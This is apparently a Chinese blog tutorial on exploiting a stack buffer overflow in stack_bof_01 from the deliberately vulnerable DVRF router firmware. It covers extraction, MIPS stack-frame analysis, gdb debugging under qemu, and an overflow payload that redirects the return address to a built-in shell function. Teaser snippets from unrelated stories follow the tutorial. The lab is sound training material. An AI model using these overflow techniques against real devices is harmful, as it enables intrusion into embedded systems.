IOT渗透实验入门--动态分析IOT固件( 1 初探MIPS架构 )

DVRF固件

这是网友自制的一个充满漏洞的固件,以供学习使用

下载

git clone https://github.com/praetorian-code/DVRF.git

安装gdb

sudo apt install gdb-multiarch

安装gef

wget https://github.com/hugsy/gef/raw/master/gef.py
echo source "gef.py的具体路径"/gef.py >> ~/.gdbinit

安装gef分析使用到的python第三方库

 sudo pip3 install capstone unicorn keystone-engine

对固件进行分析

cd DVRF/Firmware
binwalk -e -t DVRF_v03.bin 
固件提取信息
cd _DVRF_v03.bin.extracted/squashfs-root

分析得到的文件夹中有个 pwnable 文件夹,里面存放了相关的漏洞程序,我们选取缓冲区漏洞程序stack_bof_01进行实验。首先使用readelf命令查看该程序的架构。

readelf -h pwnable/Intro/stack_bof_01
漏洞程序的相关信息

可以看到该程序的架构为MIPS,小端存储模式(后续看内存信息的时候要注意)

安装qemu-mipsel-static

sudo apt-get install qemu-user-stati

拷贝qemu-mipsel-static到当前目录,然后配合chroot虚拟执行stack_bof_01固件

分析漏洞程序

漏洞程序代码

strcpy() 代码分析

可以看到在main函数中,调用了strcpy函数,将用户输入复制到buf中,我们看看strcpy函数的汇编代码


strcpy汇编代码

由于该固件架构是MIPS架构,汇编指令集和X86架构的有所不同,a0寄存器存储了buf的起始地址,a1寄存器存储了用户输入的起始地址。该代码的功能:每次从用户输入从取一个字符,查看是否是 /0 (字符串结尾标志符),然后将其存到buf中,因此并没有进行边界检查,造成栈溢出的可能。值得注意的是,MIPS架构使用了流水线技术进行加速,在执行bnez指令时,同时在执行sb指令,只是执行的阶段不同。X86架构中若bnez指令进行跳转时,则sb指令执行会被无效掉,但在MIPS架构中,sb指令执行后,并不会被无效掉。该代码利用该特性,循环得进行复制。

栈溢出分析过程

根据上述分析,我们可以增加输入长度,当长度超过200时,则发生栈溢出,将main函数在栈中的一些信息覆盖掉。因此只要我们覆盖掉main函数的返回地址时,则可以劫持程序流,获得控制权。

main函数堆栈布局

MIPS 架构上函数调用过程中的堆栈和栈帧
推荐看看上面这篇链接,了解一下MIPS架构的堆栈布局是怎么样的

由于main函数中调用了strcpy函数,因此main函数并非叶子函数,即最后返回时,要从堆栈中弹出return address到 ra 寄存器,再使用跳转指令进行跳转

堆栈布局
main函数布局堆栈的汇编代码

可以看到,在这段代码中,首先给堆栈扩充了232个字节,即此时sp=base - 232(base为原sp地址),然后将ra存在了base - 4的位置,将s8存在base - 8的位置,将gp存在base - 216的位置,将a0存在base的位置,a1存在base+4的位置,而base - 208 到 base - 8 这200个字节则存着buf,因此我们只需要溢出buf 8个字节,即可将ra修改为我们所需要的目标地址

由于在本次实验中,已经提供了shellcode,因此我们只需要找到shellcode的起始地址即可,查看dat_shell函数的地址


dat_shell汇编代码

可以看到其启示地址为0x00400950,因此我们的buf为 ‘A’ * 204 + '\x50\x09\x40\x00',记住存储模式是小端。

执行漏洞程序

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"

执行后如下


执行后结果

发生了段错误,并没有执行到shellcode,让我们继续调试看看是什么情况

调试漏洞程序

sudo chroot . ./qemu-mipsel-static -g 1243 ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"

另开一个命令行执行

gdb-multiarch pwnable/Intro/stack_bof_01

进入gdb后,将架构转为MIPS架构

set architecture mips

开始调试漏洞程序

target remote 127.0.0.1:1243

在main函数处打个断点并执行到该断点处

b main
c
运行状态.png

查看main函数的汇编代码

disassem main

可以看到在main函数汇编代码的最后有个jr ra指令


main函数汇编代码.png

我们在该处下一个断点,看看ra寄存器中是否是我们的shellcode的起始地址,并执行到该处

b* 0x00400948
c
image.png

可以看到ra中确实是我们的shellcode的地址


image.png

最后执行该指令应该会跳到dat_shell上。查找了资料,好像说是会有3条gp指令影响,最终的shellcode地址为0x0040095c,执行一下看看

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x5c\x09\x40\x00')")"
结果图

成功获得shell!

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,451评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,172评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,782评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,709评论 1 294
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,733评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,578评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,320评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,241评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,686评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,878评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,992评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,715评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,336评论 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,912评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,040评论 1 270
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,173评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,947评论 2 355

推荐阅读更多精彩内容